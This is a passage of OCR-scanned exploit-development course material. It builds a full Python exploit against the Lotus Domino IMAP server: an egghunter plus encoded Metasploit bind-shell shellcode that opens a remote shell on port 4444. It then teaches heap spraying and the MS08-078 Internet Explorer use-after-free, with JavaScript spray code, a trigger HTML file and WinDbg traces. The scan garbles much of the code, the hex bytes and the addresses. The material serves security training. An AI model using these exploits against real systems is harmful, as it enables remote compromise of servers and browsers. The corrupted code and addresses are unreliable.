buffer size by 10 bytes (“AAAAAAAAAA"):

[...1]

# payload += struct.pack{'<L',6 0x58585858)
payload += struct.pack('<L', 0x609%a04d) # POINTER (nnotes.dll) TO JMP ERX
# in shell132.d11

payload += "Ax41" * 10

[+--]
Trying one of the return addresses found with searchptr.py

After setting a breakpoint on JMP EAX and running the new POC, execution flow stops as expected at

0x7789050C. The jump takes us inside the controlled buffer.
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[04:12.13Breakpoint at SHELL32 7789050C

Figure 61: Breakpoint hit on JMP EAX instruction

Unfortunately we have a problem now. As shown in Figure 62 our return address is executed as code

and an access violation is thrown. We need to find a return address that can be executed without raising
access violations.

& Immunity Debugger - nIMAP.EXE - [C thread D00DOEOC]

File View Debug Plugins Immbb  Options Window Help Jobs

______ % T E x| v+ 1l emtwh Pk
iSFE EBP '

E
B4nSFE s EC
[04:12 47] &ccess violation when eading [41416093] - use Shift+F7/F8/F3 to pass excephion ta program

Figure 62: Return address executed as code
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Luckily, after a few tries with the trial and error approach, we found a “friendly” return address that can
work. It's a pointer in shell32.dll and its bytes (0Ox774b4c6a) will be executed as the following ASM code:

0407F610  6A 4AC PUSH 4C
0407F612 4B DEC EBX
D407F613 77 41 JA SHORT Q407F656

Friendly return address safely executed as code

Let's modify our POC to see what happens now:

Frteotort

# payload += struct.pack({'<L', 0xbB585858)

payload += struct.pack({'<L', 0x774bdcea) # POINTER (shell32.d11) TO JMP EAX
e # in shell32.dll .

payload += "\x41" * 10

[...1

Changing return address in order to finally control execution flow

We now control execution flow and are able to redirect it inside our buffer. The short jump (JA = jmp if

above™) at 0x4C1F613 is not taken because CF and ZF are not both equal to zero, the result is that the
execution continues executing NOPs.

z'm Q@ 04?5\:25 s :
fhie Boom @ | oo 35 F5 L{T

/

gt dmf  Shect + J2%
/

T ehton 0 ZZ Lok

> Jmp - 50

oS S'D?/?B[
sm{ oY gcj(s/(a - ch Fﬁﬁf\w

**http://faydoc.tripod.com/cpu/ja.htm % Fe ‘FG' we E.F
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BYTE
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B

Figure 63: Conditional jump is not taken but we control execution flow

1) Try to find a different suitable return address. Make sure that the address that you find doesn’t
corrupt the execution flow later on as this address is executed as opcode.

It's time to jump back to the beginning of the buffer in order to store and execute an egghunter. We let

Immunity Debugger calculate a near back jump for us looking at the address we want to jump to and
using ID's assembler.
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&ssemble at 04C1FB1A

[IMP D:04CTF51C ~]

V' Fill with NOP's Assemble]  Cancel % =
'\% il

Figure 64: Assembling a near back jump

We can now update the POC by including the near jump and the egghunter. We still need to find a way
to inject shellcode in memory. We can try sending the payload in a previous connection via a
valid/invalid IMAP command. Follow the new POC source code:
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#!/usr/bin/python

BWE Lotus Domino IMAP function pointer overwrite
POCO5

Skeleton POC from Winny Thomas
http://www.milwOrm. com/exploits/3602

Original exploit by muts@offensive-security.com
http://www.milwlrm.com/exploits/3616

Note: Up to 3 mins to get the egg found and executed )

dE o Sk 3R 3 dE O dE s R e

import sys
import md5s
import struct
import basefd
import socket

def SendBind(target):
nops = "\x90" * 450
shellcode = nops + "\x6e\x30\x30\x62\x6e\x30\x30\x62" # n00bn00b
shellcode += "\xCC" * 696
sock = socket.socket(socket.AF INET, socket.SOCK STREAM)
sock.connect ((target, 143))
response = sock.recv(1024)
print response
bind = "a00l1 admin " + shellcode + "\r\n"
sock. send (bind)
response = sock.recv(1024)
print response
sock.close()

def ExploitLotus({target):
sock = socket.socket(socket.AF INET, socket.SOCK STREAM)
sock.connect ( (target, 143})
response = sock.recv(1024)
print response

auth = 'afi0l authenticate cram-md5\r\n'
sock.send{auth)
response = sock.recv(1024)
print response ]
# prepare digest of the response from server
m = md5.new()
m.update (response[2:0] )
digest = m.digest{() ep
f\

# EGGHUNTER 32 Bytes {
egghunter ="\x33\xD2\x90\x90\x90\x42\x52\x6a"
egghunter+="\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter+="\xf4\xb8\x6e\x30\x30\x62\x8b\xfa"
egghunter+="\xaf\x75\xea\xaf\x75\xe7\xff\xa7"
payload = "\x90" * 32 4+ egghunter + "\xd4i"*192
# the following DWORD is stored in ECX
# at the time of overflow the following call is made
# calldwordptr [ecx] {(# JMP EAX 0Ox773E1A2C shell3Z.dl1)
# Ox774bdceba = pointer to JMP EBX (0x773EL1R2C)
__ﬂ,__:7 payload += struct.pack('<L', 0x774bicéa)}

payload += "\x41" + "\xE9\x02\xFF\xXFF\xFF" + "\x43" * 4

h ]
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#t Base64 encode the user info to the server
login = payload + ' ' + digest

login = basefd.encodestring(login) + '\r\n'
sock.send(login)

response = sock.recvi{lp24)

print response

Sf i hanE e mel gy

try:
target = sys.argvil]

except IndexError:
print 'Usage: %5 <imap server>\n' % sys.argv[0]
sys.exit(-1)

for i in range(0,4):

¢ SendBind (target)

ExploitLotus (tatget)

POCOS source code

We added a SendBind function which sends a fake shellcode (0xCC) preceded by the string “n00bn00b”,
needed by the egghunter that was positioned at the beginning of the evil buffer. SendBind will be called
four times in order to increase the possibility of shellcode injection which will be performed using an
invalid IMAP command “a001 admin shellcode”. Finally a near jump back was added just after the return
address. Let's try the new code — we’ll reattach ID to the imap process and follow the execution with the
help of the breakpoint on the JMP EAX instruction.

= Immunity Debugger - nIMAP.EXE - [CPU - thread 00000088]

File ‘iew Debug Plugins Imeallb  Optiors Window Help  Jobs
% TR X RN 2L e e lemtwhcPkob:
&N 4 P 3 - :

3

41
OZFFFFFE

Figure 65: Jumping back at the beginning of the buffer
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Once again, execution stops at our breakpoint and from there we land inside the controlled buffer,
execute the jump back and run the egghunter.

Immunity Debugger - nIMAP.EXE - [CPU - thread 00000088]
Eile ¥iew Debug Pluging Immlb Options Window Help Jobs

OHTE Ux N EYs TemtwhcPkbae

7F

isters (FFUJ

e,

FFF)
FFFF)

Figure 66: Soft landing just before the beginning of the egghunter code
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The egghunter seems to work. After about 120 seconds the execution stops again because of our INT 3
shellcode as shown below.

< Immunity Debugger - nIMAP.EXE - [CPU - thread 00000088]
File View Debug Plugins Immlib Options Window Help Jabs

S TE x4 l emtwhcPkbz .

Figure 67: Egg is found and fake shellcode is being executed
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It's time to use real shellcode and “assemble” the final exploit for Domino IMAP server. The following is

the exploit code using a bind shell on port 4444 - encoded with the alpha-numeric alpha_mixed
Metasploit encoder:

/usr/bin/python

LWE Lotus Domino IMBP function pointer overwrite
Final Exploit

Skeleton POC from Winny Thomas
http://www.milwlrm.com/exploits/3602

Original exploit by muts@offensive-security.com
http: //www.milwlrm. com/exploits /3616

#!
#
#
#
S
#
¥
#
#
# ;
# NWote: Up to 3 mins to get the egg found and executed ;)
i

import sys

import md5

import struct

import base6d

import socket

def SendBind{target):
nops = "\x90" * 450
# [*] x86/alpha mixed succeeded with size 696 {iteration=1)
# metasploit bind shell on port 4444
# EXITFUNC=THREAD
bindshell = (
"\ x6e\x30\x30\x62\x6e\x30\x30\x62" # n00bn00b
"\ x89\xe2\xd9\xee\xdo\x72\xF4\x59\x49\x49\x49\x49 \ %49\ x49\x49"
"\ x49\x49\x49\x49\x43 \x43 \ x4 3\ x43\x43\x43\x37\x51 \x5a\x6a\x41"
"\ x58\x50\x30\x41\x30\x41\x6b\x41 \x41\x51 \x32\x41\x42\x32\x42"
"\ x42\x30\x42\ 242\ %41\ x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\xdc\x42\xda\x4a\x4b\x50\x4d\x4b\x58 \x4c\x39\x4b\x4 £\ xdb\x4£"
"\x4b\ x4 f\x45\x30 \x4c\x4b\x42 \x4c\x51\x34\x51\x34 \x4c\x4b\x47"
"\%35\x4 7\ xdc\xdc\x4b\x43 \xd4c\x44 \x45\x44 \x38\x45\x51 \x4a\x4£f"
"\xdc\x4b\x50\x4F\x44\x58 \x4c\xdb\x51 \x4£\x51\x30\x45\x51 \xda"
"\ x4b\x47\x39\x4c\x4b\x47\x44 \x4c\x4b\x43\x31\x4a\xde\x50\x31"
"\x4 9\ x50\ xdd\ x4 9\ xde\xdc\xdd\x54\x49\x50\x44 \x34 \x45\x57\x49"
"\ %51 \x49\x5a\x44 \x4d\x43\x31 \x49\x52\x4a\x4b\x4c\x34\x47\x4b"
i\ %51 \x44 \x4T\x54 \x47\x58\x43 \x45 \x4d\x35\x4c\x4b\x51 \x4£\x51"
"\x34\x45\x51 \xda\x4b\x43\x56 \x4c\x4b\x44\x4c\x50\x4b\x4c\x4b"
"\x51\x4Ff\x45\xdc\x43\x31\xda\x4b\x44\x43\x46\x4c\xdc\xdb\xdc"
M\xd9\xd2\xdc\x51\x34\x45\xdc\x45\x31\x48\x43 \x46\x51\x49\x4b"
"\ x43\x54 \xdc\x4b\x51\x53\x46\ x50 \x4c\x4b\x51 \x50\x44 \xdc\xdc"
"\x4b\x44\x30\x45\x4c\xde\x4d\xdc\xdb\xd7\x30\x44\x48\x51 \xde"
"\xd43\x58\xdc\xde\ x50 \xde\ x4 \xde\xda\xdc\x4 6 \x30 \xdb\ x4 \x49"
"\ x4 6\x42\x46\x50\x53\x45\x36\x45\x38\x46\x53\x46\x52\x45\x38"
"\ xd3\x4T\x42\x53\ x50 \x32\x51 \x4 £ \x51 \x44 \x4b\x4 £ \x48\x50\x42"
"\ x48\x48\x4b\x4da\x4d\xdb\xdc\x47\x4b\x50\x50\x4b\x4f\xde\x36"
"\x51\x4 f\xdc\x49\x4b\x55\x45\x36\x4b\x31\x4a\x4d\x44\x48\x44"
"\ x42\x50\x55\x43\x5a\x43\x32\x4b\x4 £\ x48\ x50 \x42\x48\x48\x59"
"x43\x39\xda\x55 \xde \xdd \x51\x4 T\ xdb\ x4 F\ x4 9\ x4 6\ x51 \x43\xd6"
"\ %33\ %51 \x43\x46\x33\x46\x33\x51\x53\x51\x43\x50\x43\x50\x53"
"\x4b\ x4 £\ %48 x50\ %43 \x56\x42\x48\x42\x31\x51 \x4c\x42\x46\x46"
"\ %33\ xdd\x59\x4d\x31 \xdc\x55\x45\x38\x49\x34\x44 \x5a\x42\x50"
"\ x48\x47\x46\x37 \xdb\x4f\xde\x36\x43\x5a\x42\x30\x46\x31\x46"

L "\ %35\ xdb\x4f\xde \x30\x45\x38\x49\x34 \xde\xd4d\x46 \xde\xda\x49" o
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"\x46\x37\x4b\x4Ff\xde\x36\x50\%x5_ \x50\x55\x4b\ x4\ x4B\x50\x43"
"\ x58\x4a\x45\ x50 \x49\x4d\ x56\x51\x59\x50\x57\x4b\x4 £\ x49\x46"
"\x50\x50\x50\x54 \x50\x54 \x51\x45\x4b\x4Ff\x48\x50 \x4c\x53\x43"
"\ x58\xda\x47\x43\x49\x49\x56\x43\x49\x50\x57 \x4b\x4f\x49\x46"
"\x51\x45\x4b\x4f\x4B\x50\x45\x36\x43\x5a\x45\x34 \x45\x36 \x42"
"\ x4 8\x45\x33\x42\x4d\x4d\x59\xda\x45\x43\x5a\ x4 6\x30\x50\x59"
"\x51\x39\x48\xdc\xdc\x49\xdb\x57\x42\xda\x51\x54 \x4c\x49\x4b"
"\%52\x50\x31\x49\x50\x4a\x53 \xde\xda\xdb\xde\x51\x52 \x46\x4d"
"\x4b\xde\x47\x32\x46\x4c\xda\x33\xdc\x4d\x43\x4a\x47\x48\xde"
"\xdb\xde\xdb\xde\xdb\x45\x38\x43\x42\x4b\xde\x48\x33\x45\x46"
"\ x4b\x4f\x43\x45\x50\x44 \x4b\ x4 F\x49\x46\x51 \x4b\x50\x57\x46"
"\x32\x46\x31\x46\x31\x50\x51\x42\xda\x45\x51\ x50\ %51 \x46\x31"
"\x51\x45\x46\x31\x4b\x4f\xde\x30\x43\x58\x4e\x4d\xde\x39\x45"
"\x55\x48\x4e\x51\x43\x4b\x4f\x49\x46\x42\x4a\x4b\x4F\xdb\ x4 £"
"\x46\x57\x4b\x4 £\ x4 8\x50 \ x4 c\x4b\x50\x57 \x4b\xdc\xdc\x43\x49"
"\x54\x42\x44 \x4b\x4 £\ x49\x46\x46\x32\x4b\x4f\xde\x30\x42\x48"
"\xda\x4£f\x48\xde\x4d\x30\x43\x50\x50\x53\x4b\x4f\xde\x36\x4b"
M\xdf\xde\x30\x45\x5a\xd41\x41" )

sock = socket.socket [socket.AF INET, socket.SOCK STREAM)
sock.connect ( (target, 143))

response = sock.recv(1024)

print response

bind = "al0l admin " + nops + bindshell + "\r\n"

sock.send (bind)

response = sock.recv({1024)

print response

sock.close ()

def ExploitLotus(target):
sock = socket.socket (socket.AF INET, socket.SOCK STREAM)
sock.connect { (target, 143)) 2
response = sock.recv (1024}
print response

auth = 'af0l authenticate cram-mdS\r\n'
sock.send(auth)

response = sock.recv(1024)

print response

it prepare digest of the response from server
m = md5.new()

m.update (responsef2:01)

digest = m.digest()

# EGGHUNTER 32 Bytes

egghunter ="\x33\xD2\x90\x90\x90\x42\x52\x6a"
egghunter+="\z02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter+="\xfd\xbB\x6e \x30\x230\x62\x8b\xfa"
egghunter+="\zaf\x75\xea\xaf\x75\xeT\xff\xeT"

payload = "\x90" * 32 + egghunter + "\x41"*192

# the following DWORD is stored in ECX

# at the time of overflow the following call is made

# call dword ptr [ecx] (# JMP EAX Ox773E1A2C shell32.dil)
# 0x774bdcéa = pointer to JMP EBX { Ox773E1R2C )

payload += gstruct.pack({'<L', 0x774bdcea)

payload += "X\xdl" + "\XE9\xD2\xFF\xFF\xFEF" + "\x43" * 4

# Baseb64 encode the user info to the server
login = payload + ' ' + digest
login = basebd.encodestring({login} + '\r\n'

sock.send{login}
response = sock.recv(1024)
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print response

target = sys.argv(l]

except IndexError:

print 'Usage: %5 <imap server>\n'

gys.exit{-1)

for i in rangei((,4):
SendBind{target)
ExploitLotus(target)

g
T

sys.argvi0]

The egghunter does its job and finds the shellcode in memory as shown below.

Immunity Debugger - nIMAP.EXE -
File ‘iew Debug Plugins
2% T 40X M1 M 2L+
) ED%, ES

QT§H“'£28—B?TEI PTR DS: [EDX-C]

And finally, we get our remote shell on port 4444 and a session opened from localhost with a telnet

session.

3

149

Immlib Options Window Help

Figure 68: Pattern n0Obn00b found

- thread 00000BC4]
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SHTE MMM EH Y lemeiwhcePkboz . s 2 TS

28-BVYTE) PTR DS:[EDX-C3

b
Microsoft Windous [Uersion 5.2.37981
{C)> Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings\Administratordnetstat —an ! find “4444"
ICP 127.8.8.1:1899 127.9.8.1:4444 ESTABLISHED
ICP 127.8.8.1:4444 127.8.8.1:1899 ESTABLISHED

C:\Documents and Settings\Administrator>

\Wl?lDDws‘n.sy;temSZ\:r*J.eue - exploit.py localhost

C:\Documents and Settings\Administrator\Desktop\POCS\NEW exploit.py localhost
OK Domino INAP4 Server Release 6.5 ready Mon, 1 Jun 2809 15:57:83 -8768

BAD unknoun command
Domino IMAP4 Server Release 6.5 ready Mon, 1 Jun 2889 15:57:83 -0788
BAD unknown command
Domino IMAP4 Server Release 6.5 weady Mon, 1 Jun 2889 15:57:B3 -B788
BAD unknown command

Domino IMAP4 Server Release 6.5 ready Mon, 1 Jun 2889 15:57:83 -B766

M T=IT~

BAD unknouwn command

Domino IMAP4 Server Release 6.5 ready Mon, 1 Jun 2808% 15:57:84
+ PDAwNBUxMzAyLjg4MjUINUM4LjAuNDALNDUDL jAuNDAWMDA4QFRFI1 QuQBINPg ==

Figure 69: Getting our remote shell
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1) Repeat the required steps in order to obtain a remote shell on the vulnerable server.
2) If you are wondering why we put 450 bytes of NOPs before the shellcode, try understanding by
yourself removing the sled and rerunning the exploit (HINT: searchstr.py is your friend!!!).

Wrapping up

In this module we exploited a real world Pointer Overwrite vulnerability, and managed to overcome

stringent space requirements by utilizing an egghunter.
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* Understanding JavaScript Heap internals
* Learning how to spray the heap
* Exploiting MS08-079 on Windows Vista SPO

Overview

Heap Spraying” is a technique used mostly (but not only) in browser exploitation to obtain code
execution through the help of consecutive heap allocations. Developed by Blazde and SkyLined, heap
spraying was first used (in browserssa), in the MS04-040°* exploit against Internet Explorer. The
technique is generally used when the attacker is able to “control the heap”. Once control over execution
flow is gained, the malicious code can try to inject heap chunks containing nop sleds and shellcode, until

an invalid memory address, usually controlled by the attacker, becomes valid with the consequence of
executing arbitrary code.

52mp:f'}’en‘\u'\.r'ikipedia‘org,:’!..»\.riki;’Heap spraying

**It seems that the first time, Heap Spray was seen in 2001 for a Microsoft Internet Information Services Remote
Buffer Overflow http://research.eeye.com/html/advisories/published/AD20010618.htm|

54http://www.microsoft.comltechnetﬁsecuritv/builetinfMSD4—D40,mspx , http://www.milwOrm.com/exploits/612
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When an application needs to allocate memory dynamically, it usually makes use of the heap memory

manager. In Windows operative systems, when a process starts, the heap manager automatically
creates a new heap called the default process heap.

Although some processes make use of the default process heap for their needs only, a large number
create additional heaps using the HeapCreate API, in order to isolate different components, running in
the process itself. Many other processes make a large use of the C Run Time heap for almost any
dynamic allocation (malloc / free function). In any case, usually, any heap implementation makes use of

the Windows Heap Manager which, in turn, calls the Windows Virtual Memory Manager to allocate
memory dynamically.

A very good explanation of the Internet Explorer Heap Internals can be found in the brilliant paper
“JavascriptFeng-Shui”>® written by Alexander Sotirov in 2007. In this paragraph we will try to summarize

Sotirov’s work to better understand the Heap Spray Technique.

The first important key point highlighted by Sotirov, and sensed by Skylined in 2004, is that JavaScript
strings are peculiar, because allocated in the default process heap while, the JavaScript engine allocates
any other object in memory using the CRT dedicated Heap. This point is very important because it is the
main reason why we can control the heap from the browser.

Sshttp:/,z'v\.rww\.r‘h!ar:khat.com;’pr(-as.entations,»"bh-europe-D?;’Sotirc)\.f,’F'resentation,z'bh—eu—07-sotirt:)\f—apr19.pdf
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Figure 70: Windows Heap Manager
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To allocate memory in the default process heap from JavaScript you need to concatenate strings or use
the substr function:

var strl = "RARARARDMADDARRARARABA"; // doesn't allocate a new string
var str2 = strl.substr(0, 10); // allocates a new 10 character string
var str3 = strl + strZ; // allocates a new 30 character string

JavaScript String Allocation on the Heap

Moreover JavaScript strings are stored in memory as a binary string®:

string size | string data | null terminator

4 bytes | length / 2 bytes | 2 bytes
OE 00 00 00 | 41 00 41 00 41 00 41 00 41 OO0 41 €0 41 00 | 00 0O

Binary string in memory

Which means that for a certain string (strX) there will be allocated strX.len*2+6 bytes on the heap, or
that to allocate a certain X bytes your string length must be equal to (Xbytes — 6)/2.

Sometimes, in order to control the heap layout, we’ll need also a way to free heap blocks. From
JavaScript to free an allocated string you need to delete all references to it and run the garbage collector
calling CollectGarbage(). PLEASE NOTE: As highlighted by Sotirov, allocation and free operations must be
done inside a function scope otherwise the Garbage Collector won’t free the string):

varstr;
l+:. Btring BF¥location ...]
bl
functionfree str{) {
str = null;
CollectGarbagel} ;

Freeing the Heap from JavaScript

SEIht‘{p:,f/’msdn‘mic:rosoft.corm’en—usx’library,’msZZ1069.:;15;3)(
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The last key point to keep in mind is in some cases the JavaScript Memory allocator within OLEAUT32.dll
won’t allocate our strings in the default process heap because of the free blocks caching system, To
mitigate this problem which can make the exploitation less reliable, Sotirov suggests using a technique
that frees the cache before each allocation. We won’t analyze such techniques because, as you will see,
it won’t be necessary in our exploit (caching system works for blocks size < 32Kb and our allocations will
be much bigger). Still it's important to keep in mind that in some exploits, especially heap corruption
ones where precise allocations are essential, the “Plunger” technique could be very useful.

[

Heap Spray: The Technigue

Why and when Heap Spraying is possible? This technique is possible mainly because the heap allocator
is deterministic. That means, a specific sequences of allocations and frees can be used to control the
heap layout[55] and heap blocks will roughly be in the same location every time the exploit is executed.
The general circumstances that makes Heap Spraying possible are basically two things:

* The malicious code must be able to control the heap;

* The “return address”*’ must be within the possible heap range address.

*"The term "return address" is inapt here because Heap Spraying can be used with different kind of vulnerabilities
where we don't necessary overwrite a return address, for example in function pointer/object pointer
overwrites.
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The heap area begins at the end of the data segment and grows to larger addresses. In the Windows
operating system, the heap area, shared by all dlls loaded by the process, is in the range of 0x00130000
— Ox3fffffff>®. As introduced previously, the scope of the technique is arranging heap blocks in order to
redirect application execution flow to our shellcode. Depending on the vulnerability there are different
implementations for the heap spray technique. The following JavaScript code shows a possible
implementation that can be applied when we are able to directly call or jump to a specific address (for
example in function pointer overwrites or stack based overflows):

@ Allocated Memary

£} Free Memory

- @ Address 0x0c0c0c0c
A Is invalid:
Application crashes

HEAP GROWS

Figure 71: Heap Layout before exploitation

sshttp:ﬁwww.openrce.org)‘reference library/files/reference/Windows%20Memory%20Layout,%20User-
Kernel%20Address%20Spaces.pdf
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@ Allocated Memory

‘SHELLCODE

@) Free Memory

_ NOPS

Ao () Nops + Shellcode

® Address 0x0c0c0c0c
A Is valid and
Redirects to shellocde

HEAP GROWS

Figure 72: Heap Layout after exploitation

var NOP = unescape ("%u9090c%u9090%u9%0904u9090%u9090%1u9090%u9090%us0908u9090") ;
var SHELLCODE = unescape ("%ue8fc3u0044%u0000%ud58b3uBb3c. . . REST OF SHELLCODE) ;
var evil = new Array{);: :
var RET = unescape{"$ulc0ctulcOc"};
while (RET.length< 262144} RET += RET;

// Fill memory with copies 6f the RET, NOP SLED and SHELLCODE
for dvar k = 0; k < 200; ktt) |
evil[k] = RET + NOP + SHELLCODE;

}

Heap Spray Basic Example

The above JavaScript code, fills heap memory with ret, nop sleds and shellcode until the invalid address,
“RET”, becomes valid. Moreover our heap chunks will be aligned in order to make 0x0cOcOcOc pointing
to our nop sled. Once heap layout has been set, we trigger the vulnerability, 0x0cOcOcOc is then called
and our shellcode executed.
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~ FUNCTION
5 POINTER 0 | | |

» 0x0c0cOcOc

Figure 73: Function Pointer overwrite dereference sequence

The second implementation is mostly used in object pointer overwrites where a vftable® function
pointer can be controlled. This is what we will continue to analyze in this module. When an object is
created then a pointer (vpointer) to its class vftable is added as a hidden member of the object itself
(first 4 bytes of the object). If a virtual function® is called using an object pointer, the following ASM
code is generated by the compiler:

mov ecx, dwordptrleax] i get the vftable address
push eax ; pass '"this' C++ pointer as an argument
call dword ptriecx+0Xhl ; call the virtual function at offset OxXh

ASM code generated by the compiler for a virtual table function call

Overwriting the vpointer (eax register in the previous example) can obviously lead to code execution
because we can point to a fake vtable containing pointers to our shellcode. The sequence of
dereferences is shown in next figure

E-’ghttp:,’/enA\a\.rikiped‘|aAcurg,/wiki;’\.’irtual table

Enhttp:,a’j'elﬂ.wikipedia.orgg'wik'u’\z’irti.ial function

159 © All rights reserved to Offensive Security, 2009



FAKEOBJECT ~ _ FAKE VFTABLE
At 0x0c0c0c0c > At 0x0c0c0c0c > 0x0c0cOcOc

Figure 74: Object pointer overwrite dereference sequence

while what you see below is presented as an example of a possible JavaScript implementation of the
heap spray for object pointer overwrites.

var SHELLCODE = unescape ("$ueBfciul044%5u0000%u458b%ubb3c. . .REST OF SHELLCODE) ;
var evil = new Array{); :

var FRKEOBJ = unescape ("$ulcOc%ulcOc");

while {FARKEOBJ.length< 262144) FAKEORJ += FAKEOBJ:

// Fill memory with copies of the FAKEORJ and SHELLCODE; FAKEOBJ acts also as
// a NOP sled in this case.

for {(var k = 0; k < 200; k++) {

evil[k] = FAKEOBJ + SHELLCODE;

1

Possible Javascript impelementation of the Heap Spray technique for Object Pointer Overwrites

J Dz0c0c Oc 5”7['/9 errcodd.

A

h%@ﬂfﬂq\ —~ 0 O
07
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security

In this section we are going to start analyzing a vulnerability reported in the MS08-078 bulletin®. The
vulnerability, which affected most versions of IE in 2008, consists of a “use of a pointer after free” in
mshtml.dll triggered via a crafted XML document containing nested SPAN elements®. It's important to
understand the nature of the vulnerability, there’s no heap corruption or heap-based overflow involved.
The bug is an invalid pointer dereference and because the pointer is under our control, we are able to
gain code execution. We are going to exploit this vulnerability on the Windows Vista SPO platform so,
let's go deeper and analyze the bug with the first POC, attaching the debugger to the IE process:

<html>
<script>
document .write{"<iframe src=\"iframe.html\">");
</script>
</html>

First part of MS08-078 POCO01 (POC01.html)

<¥ML ID=I>
<>
<C>
<! [CDATA[
<image
SRC=http://&#3084;a#3084; . XxxXXX.0r]g
>
155
</C>
</ H>
</KML>

<SPBN DATASRC=#1 DATAFLD=C DATAFCRMATAS=HTML>
<XML ID=1>
</ XML>
<SPAN DATASRC=#I DATAFLD=C DATAFCRMATAS=HTML>
</SPAN>
</ BPRN>

Second part of M508-078 POCO1 (iframe.html)

http://www.microsoft.com/technet/security/bulletin/ms08-078.mspx

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4844
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POCO1 consists in two files: an html file containing a JavaScript which, at the moment, doesn’t do
anything interesting, but it does include an iframe which is the trigger.

p)aoa k‘? 0 X 5—-(7,

0:011> g

ModLoad: 6df30000 6dfaB000 C:\Windows\system32\jscript.dll

ModLoad: 73550000 73679000 C:\Windows\System32\msxml3.dll

(f6c.ced) : Unknown exception - code e0000001 (first chance)

(f6c.ccd) : Unknown exception - code 0000001 (first chance)

{£6c.ccd) ¢ Unknown exception - code e0000001 (first chance)

(£6c.ccd) : Unknown exception - code e0000001 (first chance)

ModLoad: 6ddd0000 6de79000 C:\Program Files\Common Files\System\Ole DB\oledb32.dll
ModLoad: 73860000 7387£000 C:\Windows\system32\MSDART . DLL

ModLoad: 7450000 74576000 C:\Windows\WinSxS\zB86 microsoft.windows.common~—
ccntxols_6595b64144ccf1df_5.82.6000.16386*none_87e0cb09378?14fl\COMCTL32.dll
ModLoad: 77c00000 77c74000 C:\Windows\system32\COMDLG32.dl1

ModLoad: 6ebb0000 6ebc7000  C:\Program Files\Common Files\System\Cle DB\\OLEDBE32R.DLL
ModL.oad: 73850000 73853000 C:\Windows\system32\ﬂlsdl‘dil

ModLoad: 73850000 73859000 C:\Windows\system32\idndl.dll

(£6c.ccd): BAccess violation - code cOO00D0S (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0c0c0clc ebx=00000000 ecx=0342e¢e98 edx=6c5alacs esi=0342ee98 edi=0343F460
eip=6c742954 esp=0320£488 ebp=0320fda8 iopl=0 nv up ei pl nznapenc
cs=001lb ss5=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00010206

mshtml |CXfer: : TransferFromSrc+0x34 :
60742554 B8b08 mov ecx,dword ptr [eax] ds:0023:0c0c0c0c=27772727

POCO1 Windbg session

In the previous Windbg session, opening POCO1 from IE, we get an access violation at address
0x6¢742954. Inspecting that address with the disassembler we can see the following result:

D:005>u 6c742954
mshtml !CXfer: : TransferFromSrc+0x34 :

6c742954 BbOB mov ecx,dword ptr [eax]
6c742956 57 push edi
6c742957 50 push eax

6c742958 ££9184000000 call dword ptr [ecx+84h]

A closer look to the vulnerable function
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%:J Pid 3948 - WinDbg:6.11.0001.404 X686
File Edit Yiew Debug Window Help

= B LA BPR 0 O DPEREOREOOE & 104,

" T i . e F L b i
Offset: (@Sscopeip Previous j He
60742929 BF push 251
6c74292a 8bf1 s =21, 8CK
6c74292¢ 33db HOT ebx ebx
Ec?4292e f0461c09 test byte ptr [es1+1Ch]. 9
Ec?42932 0f85f=000000 ne mshtnl IClfer . TransferFromSro+(=116 (67425360
6c742938 8h0e ROV eax, dyord ptr [esi]
6c74293a 3bc3 Cmp eax, ehx
6?4293 0f84e£000000 je mshtml ICEfer: TransferFromSrc+0=111 (6c742a31)
60742342 39504 CMp dword ptr [esi1+4] eb=
6c74294% 0£84e6000000 je nshimliCifer  TransferFromSrc+0x111 (67423313
6074294b 395208 Chp dword ptr [esi+48]. ebx
fo7429%4e 0£84d4000000 j& mnehtnl ! Clfer TransferFromSrc+0z111 (fc742a31)
i6 ecx, dvord ds:0023: 0clclcic= 2277

42956 57 push edi
6c742857 S0 push eax
6c7425%58 ££9184000000 call dword ptr [ecz+84h]
6c7429%e Bhdelc M eax dword ptr [esi+lCh)
60742961 8hig TENE edl eax
6742963 dlef zhr edi .l
bc742965 83cB02 or eax, 2
Ee742968 832701 and edi. 1l
bo74296b fR461404 test byte ptr [e=i1+14h]_4
bc74296f 89%46lc Moy dword ptr [esi1+1Ch] e=ax
6o742972 741a je nshiml ICEfer TransferFromSrc+0zte (Rc?4298e)

Figure 75: Invalid pointer reference generating the access violation

The “problem” seems to be in TransferFromSrc function within mshtml.dll. At crash time, the EAX
IIBNSIETTromac fun 2 EAN

register contains Ox0cOcOcOc and the instruction at Ox6¢742954 is trying to dereference a pointer at that
address. Let’s see if there’s something in memory at that address:

0:005>dd 0x0c0cOcOc
Oclclclo b e e b dr B M fe e Ho e B B0 R o e B0 Hor i B o o e H B B B K Top B o s

Delclcle 2223272727 20927927277 29793992 279252997

DcOclc2c 22222222 22222222 22222237 22222222
OcOcOc3c 27222222 22222222 222222722 22722277
OcOcOcdc 22222222 22723722 22722227 22222222

Ochchche 22727272722 PR2%2377 22322320722 27232392372

Oc0clcée PRPRPANY DRIRDLDn ARGOOaNan noongann

DclOclcic 7227272727 273232722772 27292797292 2737929297

Inspecting memory at address Ox0cOcOcOc

So, it seems we are trying to dereference an invalid pointer. But, where does that address come from? Is
that pointer under our control? If you take a deeper look at the iframe source, you will notice a strange

URL: OCOC OC &

<image SRC=http://&#3084;&#3084;.xxxxx.org>
L 1
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1) Alter the POC so that code execution is redirected to the address 0x0d0d0d0d.
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&#3084; is the decimal representation of GxOcOc..lThIs means that the pointer is under our control.
oreover, looking at the previous ASM code, it is very likely that we are facing a virtual function call.
Let's run POCO1 once again , this time putting a breakpoint on the "mov ecx,dword ptr [eax]" instruction:

0:011> bu mshtml!CXfer: :TransferFromSrc+0x34
P:011> bl

0 e 6cecB2954 0001 {0001) D:**** mahtml !CXfer::TransferFfromSrc+0xz34
0:011> u 6ccB2954

mehtml | CXfer: :TransferFromSrc+0x34:

6ccB2954 8b08 mov ecx,dword ptr [eax]
6ce82956 57 push edi

6ccB2Z857 50 push eax

6ccB2958 ££9184000000 call dword ptr [ecx+84h]
BccB295e fbdélc mov eax, dword ptr [esi+ich]
bccB82961 BbhfS mov edi, eax

6ccB2963 dlef shr edi,1

